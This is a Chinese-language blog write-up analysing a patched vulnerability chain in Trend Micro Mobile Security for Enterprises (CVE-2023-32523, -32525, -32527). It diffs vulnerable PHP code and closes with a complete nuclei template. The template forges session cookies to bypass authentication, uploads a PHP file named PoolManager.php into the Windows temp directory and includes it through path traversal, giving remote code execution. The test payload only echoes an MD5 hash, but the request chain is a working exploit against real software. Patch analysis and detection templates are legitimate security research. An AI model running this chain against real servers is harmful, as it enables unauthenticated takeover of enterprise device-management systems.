Trend Micro Mobile Security 认证绕过/文件上传/文件包含 RCE
组合拳
# 漏洞通告
https://success.trendmicro.com/dcx/s/solution/000293106?language=en_US
WFUser权限绕过+set_certificates_config文件上传+getWidgetPoolManager文件包含,很明显的组合拳。
# 安装
https://downloadcenter.trendmicro.com/index.php?regs=nabu&prodid=83
3278版本的readme中写了修复了权限绕过,所以下载3223版本
安装用server 2008或者2012,不然有的vc库不兼容,还要先装iis并且启用cgi、http redirect、iis6兼容等,具体看安装手册
https://docs.trendmicro.com/all/ent/tmms-ee/v9.5/en-us/tmms-ee_9.5_idg.pdf
Chapter 2中讲了具体的安装步骤,不再赘述。
# 漏洞分析
diff3223和3278版本的代码
1 权限绕过
对应的CVE是CVE-2023-32523 CVE-2023-32524,一个是widget,一个是widgetforsecurity,代码是一样的。对比补丁
漏洞点在于左侧代码product_auth.php
从cookie中取值并以逗号分割将下标为1的索引值赋值给$_SESSION['UserName']
,导致可以伪造用户。
product_auth.php被包含在widget/inc/session_auth.php
中用来做权限校验和csrf校验
<?php
require_once(dirname(__FILE__)."/config.php");
session_set_cookie_params(0, WF_COOKIE_PATH);
// include product's authentication
$product_auth_file = WP_HOME."/inc/product_auth.php";
if( file_exists($product_auth_file) ) {
require_once($product_auth_file);
}
// WidgetFramework session control
if( !isset($_SESSION) ) {
session_start();
}
// create CSRF token in advance
WF::getSecurityFactory()->getHttpToken()->getGuardToken();
if( $GLOBALS['wfconf_prevent_csrf'] == true ){ // To prevent proxy from being attacked by CSRF
require_once (dirname(__FILE__) . "/class/proxy/ProxyCSRFTokenFilter.php");
$proxyChecker = WF::getProxyFactory()->getProxyRequestChecker();
$proxyChecker->add( new WFProxyCSRFTokenFilter() );
}
在用户类WFUser的构造函数中__construct
public function __construct(){
mydebug_log("[WFUSER] __construct()");
// check $_SESSION
if(! isset($_SESSION)){
mydebug_log("[WFUSER] __construct() Invalid session");
$this->errMessage = "Invalid session. (probably need session_start())";
return;
}
// create database
$this->createUserDB();
if($this->userdb->isFailed()){
return false;
}
}
只是简单判断了session,所以这里可以伪造用户。
2 文件上传
\WFProxy::RetriveData
中增加了后缀校验
这两个case分支都可以任意文件上传,但是第一个add_app_file会将文件传到uploads/
目录下,而这个产品的目录下默认是没有可写权限,并且没有uploads这个目录的,所以会失败。
利用点在set_certificates_config分支,他会将文件写入temp目录,默认window是C:\windows\temp\
下。
查找调用关系之后构造请求包如图
文件路径的输出是我debug加的,请自行忽略。
3 文件包含
getWidgetPoolManager中加了包含白名单
他会包含一个文件名为PoolManager.php的php文件,可以跨目录,所以配合上文的set_certificates_config包含temp下的php文件即可
查找函数调用关系后在widget/inc/widget_package_manager.php中进行文件包含
请求包如下
4 串起来
上文说到权限校验交由widget/inc/session_auth.php
来校验,在widget/proxy_controller.php
中包含了该文件
<?php
////require(dirname(__FILE__).'/proxy_controller_mock.php');
if(!defined("IS_LOAD_TASK_CONTROLLER")){
require_once (dirname(__FILE__) . "/inc/session_auth.php"); [1]
// we don't have to update $_SESSION
ob_start(); // we buffer everything, because we need to update $_SESSION anytime
session_write_close();
}else{
...
}
...
/* check module */
$server_module = $g_GetPost['module'];
mydebug_log("[PROXY-REQUEST] module: " . $server_module);
$isDirectoryTraversal = WF::getSecurityFactory()->getSanitize()->isDirectoryTraversal($server_module);
if(true === $isDirectoryTraversal){
mydebug_log("Bad guy come in!!");
proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
}
$intUserGeneratedInfoOfWidget = (array_key_exists('userGenerated', $g_GetPost)) ? $g_GetPost['userGenerated'] : 0;
if($intUserGeneratedInfoOfWidget == 1){
$strProxyDir = USER_GENERATED_PROXY_DIR;
}else{
$strProxyDir = PROXY_DIR;
}
$myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php";
// does file exist?
if(file_exists($myproxy_file)){
include ($myproxy_file); [2]
}else{
proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
}
// does class exist?
if(! class_exists("WFProxy")){
proxy_error(WF_PROXY_ERR_INIT_MODULE_ERROR, WF_PROXY_ERR_INIT_MODULE_ERROR_MSG);
}
$request = new WFProxy($g_GetPost, $wfconf_dbconfig); [3]
...
// proxy excutes tasks
mydebug_log("[PROXY-REQUEST] proxy exec.");
$request->proxy_exec(); [4]
...
?>
2标根据module参数包含不同的模块,然后通过创建模块中的WFProxy类对象来执行proxy_exec()
其中WFProxy类继承了ABaseProxy抽象类,在ABaseProxy的构造函数中判断了session中是否有uid
public function __construct($args, $dbconfig){
$this->cgiArgs = $args;
$this->errCode = WF_PROXY_ERR_NONE;
$this->errMessage = "";
$this->httpObj = new WFHttpTalk();
// http default settings
$this->httpObj->setTimeout_connect(WFPROXY_TIMEOUT_CONNECT);
$this->httpObj->setTimeout(WFPROXY_TIMEOUT);
// check userid (for permission checking)
if(isset($_SESSION['uid'])){
$this->userid = $_SESSION['uid'];
}else{
$this->errCode = WF_PROXY_ERR_INIT_INVALID_USERID;
$this->errMessage = WF_PROXY_ERR_INIT_INVALID_USERID_MSG;
return;
}
...
}
所以除了伪造UserName以外,还需要伪造session[‘uid’]
在WFUser::loaduser_byuid
函数中
public function loaduser_byuid($uid){
mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
// load user
$uinfolist = $this->userdb->get_users($uid);
if($this->userdb->isFailed()){
mydebug_log("[WFUSER] loaduser_byuid() : get_users failed");
return false;
}
// no exists
if(! isset($uinfolist[0])){
mydebug_log("[WFUSER] loaduser_byuid() : get_users - no user");
return false;
}
// get userinfo
$this->userinfo = $uinfolist[0];
mydebug_log("[WFUSER] loaduser_byuid() : ok mail = " . $this->userinfo['email']);
return true;
}
可以通过uid参数查询数据库将userinfo赋值给WFUser的userinfo字段,然后在binduser函数中
public function binduser(){
mydebug_log("[WFUSER] binduser()");
$_SESSION['uniqueid'] = $this->gencode();
$_SESSION['uid'] = $this->userinfo['id'];
mydebug_log("[WFUSER] binduser() uniqueid: " . $_SESSION['uniqueid']);
mydebug_log("[WFUSER] binduser() uid: " . $_SESSION['uid']);
setcookie("un", $_SESSION['uniqueid'], 0, WF_COOKIE_PATH);
setcookie("userID", $this->userinfo['id'], 0, WF_COOKIE_PATH);
$lang = isset($_COOKIE['CONSOLE_LANG']) ? $_COOKIE['CONSOLE_LANG'] : $this->userinfo['lang'];
$_SESSION['WGF_LANG'] = $lang;
setcookie("LANG", $lang, 0, WF_COOKIE_PATH);
mydebug_log("[WFUSER] binduser() cookie un: " . $_SESSION['uniqueid']);
mydebug_log("[WFUSER] binduser() cookie userID: " . $this->userinfo['id']);
mydebug_log("[WFUSER] binduser() cookie LANG: " . $this->userinfo['lang']);
// the final step of binding
$this->auth = true;
}
将uid写入session,所以我们可以找loaduser_byuid的函数调用,即recover_session_byuid<-standalone_user_init
public function recover_session_byuid($uid){
mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
if(false == $this->loaduser_byuid($uid)){ [1]
mydebug_log("[WFUSER] recover_session_byuid() failed");
return false;
}
return $this->recover_session(); [3]
}
public function standalone_user_init(){
mydebug_log("[WFUSER] standalone_user_init()");
if(isset($_COOKIE['userID'])){
return $this->recover_session_byuid($_COOKIE['userID']); [2]
}
mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
return false;
}
private function recover_session(){
mydebug_log("[WFUSER] recover_session()");
// check is the user session exist?
if(! isset($_SESSION['uniqueid'])){
mydebug_log("[WFUSER] recover_session(): session uniqueid isn't set");
return false;
}
// yes, try to compare
if($_SESSION['uniqueid'] != $this->gencode()){
// session invalid
mydebug_log("[WFUSER] recover_session(): code mismatch");
return false;
}
$this->binduser(); [4]
return true;
}
2标刚好从COOKIE中取userid,standalone_user_init在widget/index.php被调用,然后在4标将cookie中的userid赋值给session[‘uid’],到此即可完整实现权限绕过。
# exp
给出nuclei的模板
id: CVE-2023-32523
info:
name: Trend Micro Mobile Security for Enterprises widget WFUser Authentication Bypass Vulnerability
author: Y4er
severity: critical
description: 由于WFUser设计不合理导致可以权限绕过并且通过CVE-2023-32525任意文件上传配合CVE-2023-32527文件包含RCE
reference:
- https://www.zerodayinitiative.com/advisories/ZDI-23-587/
- https://success.trendmicro.com/dcx/s/solution/000293106?language=en_US
tags: cve,cve2023,Trend Micro,rce,http,bypass,mdm,Mobile Security,CVE-2023-32527,CVE-2023-32523,CVE-2023-32525
variables:
ra: "{{to_lower(rand_base(6))}}"
requests:
- raw:
- |+
GET /mdm/web/widget/inc/session_auth.php HTTP/1.1
Host: {{Hostname}}
Cookie: session_info={{ra}},root,1,1,1;
- |+
GET /mdm/web/widget/index.php HTTP/1.1
Host: {{Hostname}}
Cookie: session_info={{ra}},root,1,1,1;userID=1;
- |+
POST /mdm/web/widget/proxy_controller.php HTTP/1.1
Host: {{Hostname}}
Cookie: session_info={{ra}},root,1,1,1;userID=1;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUJ9sOi87CDClUSFu
Accept: application/json
X-Requested-With: XMLHttpRequest
X-Csrftoken: {{csrf}}
------WebKitFormBoundaryUJ9sOi87CDClUSFu
Content-Disposition: form-data; name="module"
modTMMSPM
------WebKitFormBoundaryUJ9sOi87CDClUSFu
Content-Disposition: form-data; name="tmms_action"
set_certificates_config
------WebKitFormBoundaryUJ9sOi87CDClUSFu
Content-Disposition: form-data; name="cert_file_name";filename="PoolManager.php"
Content-type:text/plain
<?php echo md5('12345678');?>
------WebKitFormBoundaryUJ9sOi87CDClUSFu--
- |+
POST /mdm/web/widget/inc/widget_package_manager.php HTTP/1.1
Host: {{Hostname}}
Cookie: session_info={{ra}},root,1,1,1;userID=1;
Content-Type: application/x-www-form-urlencoded
Accept: application/json
X-Requested-With: XMLHttpRequest
X-Csrftoken: {{csrf}}
{"act":"check","update_type":"..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp\\"}
req-condition: true
cookie-reuse: true
matchers:
- type: word
part: body
condition: and
words:
- "{{md5('12345678')}}"
extractors:
- type: kval
name: sessionid
internal: true
part: body_1
kval:
- PHPSESSID
- type: kval
name: csrf
internal: true
part: body_2
kval:
- wf_CSRF_token
启用了cookie-reuse
,所以请求的cookie是会自动合并的。
# 总结
一个很漂亮的fullchain。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

如果你觉得这篇文章对你有所帮助,欢迎赞赏或关注微信公众号~


